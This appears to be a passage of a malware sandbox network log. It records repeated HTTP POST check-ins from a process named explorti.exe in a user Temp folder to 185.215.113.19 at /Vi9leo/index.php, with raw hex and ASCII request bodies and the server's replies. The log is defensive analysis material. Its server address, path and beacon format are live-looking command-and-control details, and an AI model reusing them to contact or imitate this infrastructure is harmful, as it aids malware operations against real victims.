Sep 1, 2024 01:30:20.178124905 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:20.179651976 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:20.424978018 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49757	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:20.548099995 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:21.317073107 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:21.589144945 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:21.840500116 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49764	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:21.987852097 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:22.732084990 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:22.736557007 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:22.982220888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49768	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:23.095268965 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:23.842178106 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:23.843097925 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:24.090648890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49769	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:24.204184055 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:24.950514078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:24.955549002 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:25.202522039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49770	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:25.330421925 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:26.068873882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:26.069638014 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:26.314642906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49771	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:26.438500881 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:27.209547043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:27.210740089 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:27.492856979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49772	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:27.609633923 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:28.379147053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:28.379925013 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:28.631386995 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49773	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:28.751979113 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:29.500746965 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:29.501516104 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:29.749727964 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49774	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:29.864306927 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:30.602127075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:30.616261005 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:30.861403942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49775	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:31.028043032 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:31.775496960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:31.790358067 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:32.040868998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49776	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:32.157092094 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:32.903084040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:32.907541037 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:33.154469967 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49777	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:33.279427052 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:34.027693987 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:34.030440092 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
